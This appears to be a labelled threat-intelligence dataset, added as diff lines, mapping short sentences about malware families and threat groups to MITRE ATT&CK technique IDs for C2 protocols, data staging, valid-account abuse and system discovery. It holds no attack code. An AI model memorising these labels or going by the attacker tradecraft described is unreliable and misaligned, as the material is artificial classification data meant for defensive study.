+MiniDuke uses HTTP and HTTPS for command and control.	['T1071.001']
+Mis-Type network traffic can communicate over HTTP.	['T1071.001']
+Mongall can use HTTP for C2 communication.	['T1071.001']
+More_eggs uses HTTPS for C2.	['T1071.001']
+Mori can communicate using HTTP over IPv4 or IPv6 depending on a flag set.	['T1071.001']
+MuddyWater has used HTTP for C2 communications.	['T1071.001']
+NETWIRE has the ability to communicate over HTTP.	['T1071.001']
+NOKKI has used HTTP for C2 communications.	['T1071.001']
+Neoichor can use HTTP for C2 communications.	['T1071.001']
+Night Dragon has used HTTP for C2.	['T1071.001']
+OSX_OCEANLOTUS.D can use HTTP POST and GET requests to send and receive C2 information.	['T1071.001']
+Octopus has used HTTP GET and POST requests for C2 communications.	['T1071.001']
+OnionDuke uses HTTP and HTTPS for C2.	['T1071.001']
+OopsIE uses HTTP for C2 communications.	['T1071.001']
+Orangeworm has used HTTP for C2.	['T1071.001']
+Out1 can use HTTP and HTTPS in communications with remote hosts.	['T1071.001']
+OutSteel has used HTTP for C2 communications.	['T1071.001']
+OwaAuth uses incoming HTTP requests with a username keyword and commands and handles them as instructions to perform actions.	['T1071.001']
+PLEAD has used HTTP for communications with command and control (C2) servers.	['T1071.001']
+POWRUNER can use HTTP for C2 communications.	['T1071.001']
+PUNCHBUGGY enables remote interaction and can obtain additional code over HTTPS GET and POST requests.	['T1071.001']
+Pandora can communicate over HTTP.	['T1071.001']
+PcShare has used HTTP for C2 communication.	['T1071.001']
+PinchDuke transfers files from the compromised host via HTTP or HTTPS to a C2 server.	['T1071.001']
+PlugX can be configured to use HTTP for command and control.	['T1071.001']
+PoetRAT has used HTTP and HTTPs for C2 communications.	['T1071.001']
+PolyglotDuke has has used HTTP GET requests in C2 communications.	['T1071.001']
+Pony has sent collected information to the C2 via HTTP POST request.	['T1071.001']
+PoshC2 can use protocols like HTTP/HTTPS for command and control traffic.	['T1071.001']
+PowerShower has sent HTTP GET and POST requests to C2 servers to send information and receive instructions.	['T1071.001']
+Proxysvc uses HTTP over SSL to communicate commands with the control server.	['T1071.001']
+Psylo uses HTTPS for C2.	['T1071.001']
+Pteranodon can use HTTP for C2.	['T1071.001']
+Pupy can communicate over HTTP for C2.	['T1071.001']
+QUADAGENT uses HTTPS and HTTP for C2 communications.	['T1071.001']
+QakBot has the ability to use HTTP and HTTPS in communication with C2 servers.	['T1071.001']
+QuietSieve can use HTTPS in C2 communications.	['T1071.001']
+RATANKBA uses HTTP/HTTPS for command and control communication.	['T1071.001']
+RCSession can use HTTP in C2 communications.	['T1071.001']
+REvil has used HTTP and HTTPS in communication with C2.	['T1071.001']
+ROKRAT can use HTTP and HTTPS for command and control communication.	['T1071.001']
+RTM has initiated connections to external domains using HTTPS.	['T1071.001']
+RainyDay can use HTTP in C2 communications.	['T1071.001']
+Ramsay has used HTTP for C2.	['T1071.001']
+Rancor has used HTTP for C2.	['T1071.001']
+Remexi uses BITSAdmin to communicate with the C2 server over HTTP.	['T1071.001']
+Remsec is capable of using HTTP and HTTPS for C2.	['T1071.001']
+Rising Sun has used HTTP and HTTPS for command and control.	['T1071.001']
+Rocke has executed wget and curl commands to Pastebin over the HTTPS protocol.	['T1071.001']
+S-Type uses HTTP for C2.	['T1071.001']
+SLOTHFULMEDIA has used HTTP and HTTPS for C2 communications.	['T1071.001']
+SNUGRIDE communicates with its C2 server over HTTP.	['T1071.001']
+SUPERNOVA had to receive an HTTP GET request containing a specific set of parameters in order to execute.	['T1071.001']
+Sakula uses HTTP for C2.	['T1071.001']
+Sandworm Team's BCS-server tool connects to the designated C2 server via HTTP.	['T1071.001']
+SeaDuke uses HTTP and HTTPS for C2.	['T1071.001']
+ServHelper uses HTTP for C2.	['T1071.001']
+Shamoon has used HTTP for C2.	['T1071.001']
+ShimRat communicated over HTTP and HTTPS with C2 servers.	['T1071.001']
+ShimRatReporter communicated over HTTP with preconfigured C2 servers.	['T1071.001']
+Sibot communicated with its C2 server via HTTP GET requests.	['T1071.001']
+SideTwist has used HTTP GET and POST requests over port 443 for C2.	['T1071.001']
+SilverTerrier uses HTTP for C2 communications.	['T1071.001']
+Sliver has the ability to support C2 communications over HTTP/S.	['T1071.001']
+Small Sieve can contact actor-controlled C2 servers by using the Telegram API over HTTPS.	['T1071.001']
+Smoke Loader uses HTTP for C2.	['T1071.001']
+Some Reaver variants use HTTP for C2.	['T1071.001']
+SoreFang can use HTTP in C2 communications.	['T1071.001']
+Spark has used HTTP POST requests to communicate with its C2 server to receive commands.	['T1071.001']
+SpeakUp uses POST and GET requests over HTTP to communicate with its main C&C server.	['T1071.001']
+Squirrelwaffle has used HTTP POST requests for C2 communications.	['T1071.001']
+Stealth Falcon malware communicates with its C2 server via HTTPS.	['T1071.001']
+StrongPity can use HTTP and HTTPS in C2 communications.	['T1071.001']
+Stuxnet uses HTTP to communicate with a command and control server.	['T1071.001']
+Sys10 uses HTTP for C2.	['T1071.001']
+TA551 has used HTTP for C2 communications.	['T1071.001']
+TSCookie can multiple protocols including HTTP and HTTPS in communication with command and control (C2) servers.	['T1071.001']
+Taidoor has used HTTP GET and POST requests for C2.	['T1071.001']
+"The ""Uploader"" variant of HAMMERTOSS visits a hard-coded server over HTTP/S to download the images HAMMERTOSS uses to receive commands."	['T1071.001']
+The Komplex C2 channel uses HTTP POST requests.	['T1071.001']
+The Regin malware platform supports many standard protocols, including HTTP and HTTPS.	['T1071.001']
+ThiefQuest uploads files via unencrypted HTTP.	['T1071.001']
+Threat Group-3390 malware has used HTTP for C2.	['T1071.001']
+TinyTurla can use HTTPS in C2 communications.	['T1071.001']
+Tomiris can use HTTP to establish C2 communications.	['T1071.001']
+Torisma can use HTTP and HTTPS for C2 communications.	['T1071.001']
+TrickBot uses HTTPS to communicate with its C2 servers, to get malware updates, modules that perform most of the malware logic and various configuration files.	['T1071.001']
+Turian has the ability to use HTTP for its C2.	['T1071.001']
+Turla has used HTTP and HTTPS for C2 communications.	['T1071.001']
+UBoatRAT has used HTTP for C2 communications.	['T1071.001']
+UNC2452 used HTTP for C2 and data exfiltration.	['T1071.001']
+UPPERCUT has used HTTP for C2, including sending error codes in Cookie headers.	['T1071.001']
+Ursnif has used HTTPS for C2.	['T1071.001']
+VBShower has attempted to obtain a VBS script from command and control (C2) nodes over HTTP.	['T1071.001']
+VERMIN uses HTTP for C2 communications.	['T1071.001']
+VaporRage can use HTTP to download shellcode from compromised websites.	['T1071.001']
+Various implementations of CHOPSTICK communicate with C2 over HTTP.	['T1071.001']
+Vasport creates a backdoor by making a connection using a HTTP POST.	['T1071.001']
+WellMess can use HTTP and HTTPS in C2 communications.	['T1071.001']
+WinMM uses HTTP for C2.	['T1071.001']
+WindTail has the ability to use HTTP for C2 communications.	['T1071.001']
+Windshift has used tools that communicate with C2 over HTTP.	['T1071.001']
+Winnti for Linux has used HTTP in outbound communications.	['T1071.001']
+Winnti for Windows has the ability to use encapsulated HTTP/S in C2 communications.	['T1071.001']
+Wizard Spider has used HTTP for network communications.	['T1071.001']
+Xbash uses HTTP for C2 communications.	['T1071.001']
+YAHOYAH uses HTTP for C2.	['T1071.001']
+ZLib communicates over HTTP for C2.	['T1071.001']
+ZeroT has used HTTP for C2.	['T1071.001']
+Zeus Panda uses HTTP for C2 communications.	['T1071.001']
+ZxShell has used HTTP for C2 connections.	['T1071.001']
+httpclient uses HTTP for command and control.	['T1071.001']
+pngdowner uses HTTP for command and control.	['T1071.001']
+xCaon has communicated with the C2 server by sending POST requests over HTTP.	['T1071.001']
+CARROTBALL has the ability to use FTP in C2 communications.	['T1071.002']
+During Operation Honeybee, the threat actors had the ability to use FTP for C2.	['T1071.002']
+JPIN can communicate over FTP.	['T1071.002']
+Kimsuky has used FTP to download additional malware to the target machine.	['T1071.002']
+Machete malware used FTP for C2.	['T1071.002']
+Machete uses FTP for Command & Control.	['T1071.002']
+NOKKI has used FTP for C2 communications.	['T1071.002']
+SYSCON has the ability to use FTP in C2 communications.	['T1071.002']
+ShadowPad has used FTP for C2 communications.	['T1071.002']
+SilverTerrier uses FTP for C2 communications.	['T1071.002']
+XAgentOSX contains the ftpUpload function to use the FTPManager:uploadFile method to upload files from the target system.	['T1071.002']
+ZxShell has used FTP for C2 connections.	['T1071.002']
+A SUGARDUMP variant used SMTP for C2.	['T1071.003']
+APT28 has used IMAP, POP3, and SMTP for a communication channel in various implants, including using self-registered Google Mail accounts and later compromised email servers of its victims.	['T1071.003']
+APT32 has used email for C2 via an Office macro.	['T1071.003']
+Agent Tesla has used SMTP for C2 communications.	['T1071.003']
+BadPatch uses SMTP for C2.	['T1071.003']
+CORESHELL can communicate over SMTP and POP3 for C2.	['T1071.003']
+Cannon uses SMTP/S and POP3/S for C2 communications by sending and receiving emails.	['T1071.003']
+JPIN can send email over SMTP.	['T1071.003']
+LightNeuron uses SMTP for C2.	['T1071.003']
+NavRAT uses the email platform, Naver, for C2 communications, leveraging SMTP.	['T1071.003']
+OLDBAIT can use SMTP for C2.	['T1071.003']
+RDAT can use email attachments for C2 communications.	['T1071.003']
+Remsec is capable of using SMTP for C2.	['T1071.003']
+SilverTerrier uses SMTP for C2 communications.	['T1071.003']
+Turla has used multiple backdoors which communicate with a C2 server via email attachments.	['T1071.003']
+Various implementations of CHOPSTICK communicate with C2 over SMTP and POP3.	['T1071.003']
+Zebrocy uses SMTP and POP3 for C2.	['T1071.003']
+APT18 uses DNS for C2 communications.	['T1071.004']
+APT39 has used remote access tools that leverage DNS in communications with C2.	['T1071.004']
+APT41 used DNS for C2 communications.	['T1071.004']
+BONDUPDATER can use DNS and TXT records within its DNS tunneling protocol for command and control.	['T1071.004']
+Chimera has used Cobalt Strike to encapsulate C2 in DNS traffic.	['T1071.004']
+Cobalt Group has used DNS tunneling for C2.	['T1071.004']
+Cobalt Strike can use a custom command and control protocol that can be encapsulated in DNS. All protocols use their standard assigned ports.	['T1071.004']
+Cobalt Strike uses a custom command and control protocol that can encapsulated in DNS. All protocols use their standard assigned ports.	['T1071.004']
+Cobian RAT uses DNS for C2.	['T1071.004']
+DanBot can use use IPv4 A records and IPv6 AAAA DNS records in C2 communications.	['T1071.004']
+Denis has used DNS tunneling for C2 communications.	['T1071.004']
+DnsSystem  can direct queries to custom DNS servers and return C2 commands using TXT records.	['T1071.004']
+Ebury has used DNS requests over UDP port 53 for C2.	['T1071.004']
+Gelsemium has the ability to use DNS in communication with C2.	['T1071.004']
+Goopy has the ability to communicate with its C2 over DNS.	['T1071.004']
+HTTPBrowser has used DNS for command and control.	['T1071.004']
+Helminth can use DNS for C2.	['T1071.004']
+Heyoka Backdoor can use DNS tunneling for C2 communications.	['T1071.004']
+InvisiMole has used a custom implementation of DNS tunneling to embed C2 communications in DNS requests and replies.	['T1071.004']
+Ke3chang malware RoyalDNS has used DNS for C2.	['T1071.004']
+LazyScripter has leveraged dynamic DNS providers for C2 communications.	['T1071.004']
+Matryoshka uses DNS for C2.	['T1071.004']
+Mythic supports DNS-based C2 profiles.	['T1071.004']
+NanHaiShu uses DNS for the C2 communications.	['T1071.004']
+"OilRig has used DNS for C2 including the publicly available ""requestbin.net"" tunneling service."	['T1071.004']
+POWRUNER can use DNS for C2 communications.	['T1071.004']
+Pisloader uses DNS as its C2 protocol.	['T1071.004']
+RDAT has used DNS to communicate with the C2.	['T1071.004']
+Remsec is capable of using DNS for C2.	['T1071.004']
+SOUNDBITE communicates via DNS for C2.	['T1071.004']
+SUNBURST used DNS for C2 traffic designed to mimic normal SolarWinds API communications.	['T1071.004']
+ShadowPad has used DNS tunneling for C2 communications.	['T1071.004']
+Shark can use DNS in C2 communications.	['T1071.004']
+Sliver can support C2 communications over DNS.	['T1071.004']
+SombRAT can communicate over DNS with the C2 server.	['T1071.004']
+TEXTMATE uses DNS TXT records for C2.	['T1071.004']
+Variants of Kevin can communicate over DNS through queries to the server for constructed domain names with embedded information.	['T1071.004']
+APT32 compromised McAfee ePO to move laterally by distributing malware as a software deployment task.	['T1072']
+Threat Group-1314 actors used a victim's endpoint management platform, Altiris, for lateral movement.	['T1072']
+Kevin can create directories to store logs and other collected data.	['T1074']
+"Kobalos can write captured SSH connection credentials to a file under the ""/var/run"" directory with a "".pid"" extension for exfiltration."	['T1074']
+Shark has stored information in folders named `U1` and `U2` prior to exfiltration.	['T1074']
+stages collected data in a text file.	['T1074', 'T1074']
+ADVSTORESHELL stores output from command execution in a .dat file in the %TEMP% directory.	['T1074.001']
+APT28 has stored captured credential information in a file named pi.log.	['T1074.001']
+APT39 has utilized tools to aggregate data prior to exfiltration.	['T1074.001']
+AppleSeed can stage files in a central location prior to exfiltration.	['T1074.001']
+Astaroth collects data in a plaintext file named r1.log before exfiltration.	['T1074.001']
+Attor has staged collected data in a central upload directory prior to exfiltration.	['T1074.001']
+AuTo Stealer can store collected data from an infected host to a file named `Hostname_UserName.txt` prior to exfiltration.	['T1074.001']
+"BADNEWS copies documents under 15MB found on the victim system to is the user's ""%temp%\SMB\"" folder. It also copies files from USB devices to a predefined directory."	['T1074.001']
+BackdoorDiplomacy has copied files of interest to the main drive's recycle bin.	['T1074.001']
+BadPatch stores collected data in log files before exfiltration.	['T1074.001']
+BoxCaon has created a working folder for collected files that it sends to the C2 server.	['T1074.001']
+Calisto uses a hidden directory named .calisto to store data from the victim’s machine before exfiltration.	['T1074.001', 'T1564.001']
+Carbon creates a base directory that contains the files and folders that are collected.	['T1074.001']
+Chimera has staged stolen data locally on compromised hosts.	['T1074.001']
+"Data captured by RawPOS is placed in a temporary file under a directory named ""memdump""."	['T1074.001']
+"Dragonfly 2.0 created a directory named ""out"" in the user's %AppData% folder and copied files to it."	['T1074.001']
+"Dragonfly has created a directory named ""out"" in the user's %AppData% folder and copied files to it."	['T1074.001']
+During Operation Honeybee, stolen data was copied into a text file using the format `From <COMPUTER-NAME> (<Month>-<Day> <Hour>-<Minute>-<Second>).txt` prior to compression, encoding, and exfiltration.	['T1074.001']
+During Operation Wocao, threat actors staged archived files in a temporary directory prior to exfiltration.	['T1074.001']
+DustySky created folders in temp directories to host collected files before exfiltration.	['T1074.001']
+Dyre has the ability to create files in a TEMP folder to act as a database to store information.	['T1074.001']
+"Elise creates a file in ""AppData\Local\Microsoft\Windows\Explorer"" and stores all harvested data in that file."	['T1074.001']
+Exaramel for Windows specifies a path to store files scheduled for exfiltration.	['T1074.001']
+"FLASHFLOOD stages data it copies from the local system or removable drives in the ""%WINDIR%\$NtUninstallKB885884$\"" directory."	['T1074.001']
+FrameworkPOS can identifiy payment card track data on the victim and copy it to a local file in a subdirectory of C:\Windows\.	['T1074.001']
+FunnyDream can stage collected information including screen captures and logged keystrokes locally.	['T1074.001']
+GALLIUM compressed and staged files in multi-part archives in the Recycle Bin prior to exfiltration.	['T1074.001']
+Gold Dragon stores information gathered from the endpoint in a file named 1.hwp.	['T1074.001']
+Helminth creates folders to store output from batch scripts prior to sending the information to its C2 server.	['T1074.001']
+Honeybee adds collected files to a temp.zip file saved in the %temp% folder, then base64 encodes it and uploads it to control server.	['T1074.001', 'T1560']
+Indrik Spider has stored collected date in a .tmp file.	['T1074.001']
+InvisiMole determines a working directory where it stores all the gathered data about the compromised machine.	['T1074.001']
+Kazuar stages command output and collected data in files before exfiltration.	['T1074.001']
+"Kimsuky has staged collected data files under ""C:\Program Files\Common Files\System\Ole DB\""."	['T1074.001']
+Lazarus Group malware IndiaIndia saves information gathered about the victim to a file that is saved in the %TEMP% directory, then compressed, encrypted, and uploaded to a C2 server.	['T1074.001']
+Leviathan has used C:\Windows\Debug and C:\Perflogs as staging directories.	['T1074.001']
+"LightNeuron can store email data in files and directories specified in its configuration, such as ""C:\Windows\ServiceProfiles\NetworkService\appdata\Local\Temp\""."	['T1074.001']
+MESSAGETAP stored targeted SMS messages that matched its target list in CSV files on the compromised system.	['T1074.001']
+Machete created their own directories to drop files into.	['T1074.001']
+Machete stores files and logs in a folder on the local drive.	['T1074.001']
+Mis-Type has temporarily stored collected information to the files `“%AppData%\{Unique Identifier}\HOSTRURKLSR”` and `“%AppData%\{Unique Identifier}\NEWERSSEMP”`.	['T1074.001']
+MoonWind saves information from its keylogging routine as a .zip file in the present working directory.	['T1074.001']
+"NETWIRE has the ability to write collected data to a file created in the ""./LOGS"" directory."	['T1074.001']
+"NOKKI can collect data from the victim and stage it in ""LOCALAPPDATA%\MicroSoft Updatea\uplog.tmp""."	['T1074.001']
+ObliqueRAT can copy specific files, webcam captures, and screenshots to local directories.	['T1074.001']
+Octopus has stored collected information in the Application Data directory on a compromised host.	['T1074.001']
+OopsIE stages the output from command execution and collected files in specific folders before exfiltration.	['T1074.001']
+Operation Wocao has staged archived files in a temporary directory prior to exfiltration.	['T1074.001']
+PUNCHTRACK aggregates collected data in a tmp file.	['T1074.001']
+Patchwork copied all targeted files to a directory called index that was eventually uploaded to the C&C server.	['T1074.001']
+PoisonIvy stages collected data in a text file.	['T1074.001']
+PowerLess can stage stolen browser data in `C:\\Windows\\Temp\\cup.tmp` and keylogger data in `C:\\Windows\\Temp\\Report.06E17A5A-7325-4325-8E5D-E172EBA7FC5BK`.	['T1074.001']
+"Prikormka creates a directory, ""%USERPROFILE%\AppData\Local\SKC\"", which is used to store collected log files."	['T1074.001']
+"Rover copies files from removable drives to ""C:\system""."	['T1074.001']
+SPACESHIP identifies files with certain extensions and copies them to a directory in the user's profile.	['T1074.001']
+STARWHALE has stored collected data in a file called `stari.txt`.	['T1074.001']
+SUGARDUMP has stored collected data under `%<malware_execution_folder>%\\CrashLog.txt`.	['T1074.001']
+Sidewinder has collected stolen files in a temporary folder in preparation for exfiltration.	['T1074.001']
+SombRAT can store harvested data in a custom database under the %TEMP% directory.	['T1074.001']
+TeamTNT has aggregated collected credentials in text files before exfiltrating.	['T1074.001']
+Threat Group-3390 has locally staged encrypted archives for later exfiltration efforts.	['T1074.001']
+Turian can store copied files in a specific directory prior to exfiltration.	['T1074.001']
+USBStealer collects files matching certain criteria from the victim and stores them in a local directory for later exfiltration.	['T1074.001']
+Ursnif has used tmp files to stage gathered information.	['T1074.001']
+Zebrocy stores all collected information in a single file before exfiltration.	['T1074.001']
+ccf32 can temporarily store files in a hidden directory on the local host.	['T1074.001']
+APT28 has staged archives of collected data on a target's Outlook Web Access (OWA) server.	['T1074.002']
+Chimera has staged stolen data on designated servers in the target environment.	['T1074.002']
+During Night Dragon, threat actors copied files to company web servers and subsequently downloaded them.	['T1074.002']
+FIN6 actors have compressed data from remote systems and moved it to another staging system before exfiltration.	['T1074.002']
+FIN8 aggregates staged data from a network into a single location.	['T1074.002']
+Leviathan has staged data remotely prior to exfiltration.	['T1074.002']
+Threat Group-3390 has moved staged encrypted archives to Internet-facing servers that had previously been compromised with China Chopper prior to exfiltration.	['T1074.002']
+UNC2452 staged data and files in password-protected archives on a victim's OWA server.	['T1074.002']
+menuPass has staged data on remote MSP systems or other victim networks prior to exfiltration.	['T1074.002']
+APT18 actors leverage legitimate credentials to log into external remote services.	['T1078', 'T1133']
+APT28 has used legitimate credentials to gain initial access, maintain access, and exfiltrate data from a victim network. The group has specifically used credentials stolen through a spearphishing email to login to the DCCC network. The group has also leveraged default manufacturer's passwords to gain initial access to corporate networks via IoT devices such as a VOIP phone, printer, and video decoder.	['T1078']
+APT29 used different compromised credentials for remote access and to move laterally.	['T1078']
+APT34 has used valid administrator credentials to assist in lateral movement.	['T1078']
+Carbanak actors used legitimate credentials of banking employees to perform operations that sent them millions of dollars.	['T1078']
+Chimera has used a valid account to maintain persistence via scheduled task.	['T1078']
+Dragonfly 2.0 compromised user credentials and used valid accounts for operations.	['T1078']
+Dtrack used hard-coded credentials to gain access to a network share.	['T1078']
+During Night Dragon, threat actors used compromised VPN accounts to gain access to victim systems.	['T1078', 'T1133']
+FIN10 has used stolen credentials to connect remotely to victim networks using VPNs protected with only a single factor.	['T1078']
+FIN4 has used legitimate credentials to hijack email communications.	['T1078']
+FIN5 has used legitimate VPN, RDP, Citrix, or VNC credentials to maintain access to a victim environment.	['T1078']
+FIN7 has harvested valid administrative credentials for lateral movement.	['T1078']
+Fox Kitten has used valid credentials with various services during lateral movement.	['T1078']
+GALLIUM leveraged valid accounts to maintain access to a victim network.	['T1078']
+Industroyer can use supplied user credentials to execute processes and stop services.	['T1078']
+Ke3chang has used credential dumpers or stealers to obtain legitimate credentials, which they used to gain access to victim accounts.	['T1078']
+Kinsing has used valid SSH credentials to access remote hosts.	['T1078']
+Leviathan has obtained valid accounts to gain initial access.	['T1078']
+Leviathan has used valid, compromised email accounts for defense evasion, including to send malicious emails to other victim organizations.	['T1078']
+Night Dragon has used compromised VPN accounts to gain access to victim systems.	['T1078', 'T1133']
+OilRig has used compromised credentials to access other systems on a victim network.	['T1078']
+Operation Wocao has used valid VPN credentials to gain initial access.	['T1078']
+POLONIUM has used valid compromised credentials to gain access to victim environments.	['T1078']
+PittyTiger attempts to obtain legitimate credentials during operations.	['T1078']
+Sandworm Team have used previously acquired legitimate credentials prior to attacks.	['T1078']
+Silence has used compromised credentials to log on to other systems and escalate privileges.	['T1078']
+Silent Librarian has used compromised credentials to obtain unauthorized access to online accounts.	['T1078']
+Some SeaDuke samples have a module to extract email from Microsoft Exchange servers using compromised credentials.	['T1078', 'T1114.002']
+Suckfly used legitimate account credentials that they dumped to navigate the internal victim network as though they were the legitimate account owner.	['T1078']
+TEMP.Veles has used compromised VPN accounts.	['T1078']
+Threat Group-3390 actors obtain legitimate credentials using a variety of methods and use them to further lateral movement on victim networks.	['T1078']
+To move laterally on a victim network, FIN6 has used credentials stolen from various systems on which it gathered usernames and password hashes.	['T1078']
+UNC2452 used different compromised credentials for remote access and to move laterally.	['T1078']
+Wizard Spider has used valid credentials for privileged accounts with the goal of accessing domain controllers.	['T1078']
+menuPass has used valid accounts including shared between Managed Service Providers and clients to move between the two environments.	['T1078']
+HyperStack can use default credentials to connect to IPC$ shares on remote machines.	['T1078.001']
+Stuxnet infected WinCC machines via a hardcoded database server password.	['T1078.001']
+APT29 has used valid accounts, including administrator accounts, to help facilitate lateral movement on compromised networks.	['T1078.002']
+Chimera has used compromised domain accounts to gain access to the target environment.	['T1078.002']
+Cobalt Strike can use known credentials to run commands and spawn processes as a domain user account.	['T1078.002']
+CreepySnail can use stolen credentials to authenticate on target networks.	['T1078.002']
+During Night Dragon, threat actors used domain accounts to gain further access to victim systems.	['T1078.002']
+During Operation CuckooBees, the threat actors used compromised domain administrator credentials as part of their lateral movement.	['T1078.002']
+If Shamoon cannot access shares using current privileges, it attempts access using hard coded, domain-specific credentials gathered earlier in the intrusion.	['T1078.002']
+Indrik Spider has collected credentials from infected systems, including domain accounts.	['T1078.002']
+Naikon has used administrator credentials for lateral movement in compromised networks.	['T1078.002']
+Operation Wocao has used domain credentials, including domain admin, for lateral movement and privilege escalation.	['T1078.002']
+Sandworm Team has used stolen credentials to access administrative accounts within the domain.	['T1078.002']
+Stuxnet attempts to access network resources with a domain account’s credentials.	['T1078.002']
+Threat Group-1314 actors used compromised domain credentials for the victim's endpoint management platform, Altiris, to move laterally.	['T1078.002']
+Wizard Spider has used administrative accounts, including Domain Admin, to move laterally within a victim network.	['T1078.002']
+APT29 has used compromised local accounts to access victims' networks.	['T1078.003']
+APT32 has used legitimate local admin account credentials.	['T1078.003']
+Cobalt Strike can use known credentials to run commands and spawn processes as a local user account.	['T1078.003']
+Emotet can brute force a local admin password, then use it to facilitate lateral movement.	['T1078.003']
+FIN10 has moved laterally using the Local Administrator account.	['T1078.003']
+Kimsuky has used a tool called GREASE to add a Windows admin account in order to allow them continued access via RDP.	['T1078.003']
+"NotPetya can use valid credentials with PsExec or ""wmic"" to spread itself to remote systems."	['T1078.003']
+PROMETHIUM has created admin accounts on a compromised host.	['T1078.003']
+Stolen Pencil has a tool to add a Windows admin account in order to allow them to ensure continued access via RDP.	['T1078.003']
+Tropic Trooper has used known administrator account credentials to execute the backdoor directly.	['T1078.003']
+APT28 has used compromised Office 365 service accounts with Global Administrator privileges to collect email from user inboxes.	['T1078.004']
+APT33 has used compromised Office 365 accounts in tandem with Ruler in an attempt to gain control of endpoints.	['T1078.004']
+Ke3chang has used compromised credentials to sign into victims’ Microsoft 365 accounts.	['T1078.004']
+Peirates can use stolen service account tokens to perform its operations.	['T1078.004']
+ROADTools leverages valid cloud credentials to perform enumeration operations using the internal Azure AD Graph API.	['T1078.004']
+BRONZE BUTLER has placed malware on file shares and given it the same name as legitimate documents on the share.	['T1080']
+Conti can spread itself by infecting other remote machines via network shared drives.	['T1080']
+Darkhotel used a virus that propagates by infecting executables stored on shared drives.	['T1080']
+Gamaredon Group has injected malicious macros into all Word and Excel documents on mapped network drives.	['T1080']
+H1N1 has functionality to copy itself to network shares.	['T1080']
+Ramsay can spread itself by infecting other portable executable files on networks shared drives.	['T1080']
+Ursnif has copied itself to and infected files in network drives for propagation.	['T1080']
+4H RAT sends an OS version identifier in its beacons.	['T1082']
+A Gamaredon Group file stealer can gather the victim's computer name and drive serial numbers to send to a C2 server.	['T1082']
+A module in Prikormka collects information from the victim about Windows OS version, computer name, battery info, and physical memory.	['T1082']
+ADVSTORESHELL can run Systeminfo to gather information about the victim.	['T1082']
+APT19 collected system architecture information. APT19 used an HTTP malware variant and a Port 22 malware variant to gather the hostname and CPU information from the victim’s machine.	['T1082']
+"APT28 has enumerated installed applications on macOS devices with built-in utilities such as ""ls -al /Applications""."	['T1082']
+APT3 has a tool that can obtain information about the local system.	['T1082']
+APT32 has collected the OS version and computer name from victims. One of the group's backdoors can also query the Windows Registry to gather system information, and another macOS backdoor performs a fingerprint of the machine on its first connection to the C&C server. APT32 executed shellcode to identify the name of the infected host.	['T1082']
+APT38 has attempted to get detailed information about a compromised host, including the operating system, version, patches, hotfixes, and service packs.	['T1082']
+Action RAT has the ability to collect the hostname, OS version, and OS architecture of an infected host.	['T1082']
+Agent Tesla can collect the system's computer name and also has the capability to collect information on the processor, memory, OS, and video card from the system.	['T1082']
+Amadey has collected the computer name and OS version from a compromised machine.	['T1082']
+Anchor can determine the hostname and linux version on a compromised host.	['T1082']
+AppleJeus has collected the victim host information after infection.	['T1082']
+Aquatic Panda has used native OS commands to understand privilege levels and system details.	['T1082']
+Aria-body has the ability to identify the hostname, computer name, Windows version, processor speed, machine GUID, and disk information on a compromised host.	['T1082']
+Attor monitors the free disk space on the system.	['T1082']
+AuTo Stealer has the ability to collect the hostname and OS information from an infected host.	['T1082']
+Avenger has the ability to identify the host volume ID and the OS architecture on a compromised host.	['T1082']
+Azorult can collect the machine information, system architecture, the OS version, computer name, Windows product name, the number of CPU cores, video card information, and the system language.	['T1082']
+BADCALL collects the computer name and host name on the compromised system.	['T1082']
+BISCUIT has a command to collect the processor type, operation system, computer name, uptime, and whether the system is a laptop or PC.	['T1082']
+BLUELIGHT has collected the computer name and OS version from victim machines.	['T1082']
+BUBBLEWRAP collects system information, including the operating system version and hostname.	['T1082']
+"BabyShark has executed the ""ver"" command."	['T1082']
+BackConfig has the ability to gather the victim's computer name.	['T1082']
+BadPatch collects the OS system, OS version, MAC address, and the computer name from the victim’s machine.	['T1082']
+Bandook can collect information about the drives available on the system.	['T1082']
+Bisonal has used commands and API calls to gather system information.	['T1082']
+Blue Mockingbird has collected hardware details for the victim's system, including CPU and memory information.	['T1082']
+Bonadan has discovered the OS version, CPU model, and RAM size of the system it has been installed on.	['T1082']
+BoomBox can enumerate the hostname, domain, and IP of a compromised host.	['T1082']
+Brave Prince collects hard drive content and system configuration information.	['T1082']
+Bumblebee can enumerate the OS version and domain on a targeted system.	['T1082']
+"Bundlore will enumerate the macOS version to determine which follow-on behaviors to execute using ""/usr/bin/sw_vers -productVersion""."	['T1082']
+CARROTBAT has the ability to determine the operating system of the compromised host and whether Windows is being run with x86 or x64 architecture.	['T1082']
+CORESHELL collects hostname, volume serial number and OS version data from the victim and sends the information to its C2 server.	['T1082']
+CaddyWiper can use `DsRoleGetPrimaryDomainInformation` to determine the role of the infected machine. CaddyWiper can also halt execution if the compromised host is identified as a domain controller.	['T1082']
+Cadelspy has the ability to discover information about the compromised host.	['T1082']
+Cannon can gather system information from the victim’s machine such as the OS version, machine name, and drive information.	['T1082']
+Carberp has collected the operating system version from the infected system.	['T1082']
+Cardinal RAT can collect the hostname, Microsoft Windows version, and processor architecture from a victim machine.	['T1082']
+ChChes collects the victim hostname, window resolution, and Microsoft Windows version.	['T1082']
+Chaes has collected system information, including the machine name and OS version.	['T1082']
+CharmPower can enumerate the OS version and computer name on a targeted system.	['T1082']
+Chimera has used `fsutil fsinfo drives`, `systeminfo`, and `vssadmin list shadows` for system information including shadow volumes and drive information.	['T1082']
+Chrommme has the ability to list drives and obtain the computer name of a compromised host.	['T1082']
+Clambling can discover the hostname, computer name, and Windows version of a targeted machine.	['T1082']
+Comnie collects the hostname of the victim machine.	['T1082']
+Confucius has used a file stealer that can examine system drives, including those other than the C drive.	['T1082']
+CrackMapExec can enumerate the system drives and associated system name.	['T1082']
+Crimson contains a command to collect the victim PC name, disk drive information, and operating system.	['T1082']
+Cuba can enumerate local drives, disk type, and disk free space.	['T1082']
+Cyclops Blink has the ability to query device information.	['T1082']
+DarkComet can collect the computer name, RAM used, and operating system version from the victim’s machine.	['T1082']
+DarkWatchman can collect the OS version, system architecture, uptime, and computer name.	['T1082']
+Denis collects OS information and the computer name from the victim’s machine.	['T1082']
+Derusbi gathers the name of the local host, version of GNU Compiler Collection (GCC), and the system information about the CPU, machine, and operating system.	['T1082']
+Diavol can collect the computer name and OS version from the system.	['T1082']
+DownPaper collects the victim host name and serial number, and then sends the information to the C2 server.	['T1082']
+DropBook has checked for the presence of Arabic language in the infected machine's settings.	['T1082', 'T1614.001']
+Dtrack can collect the victim's computer name, hostname and adapter information to create a unique identifier.	['T1082']
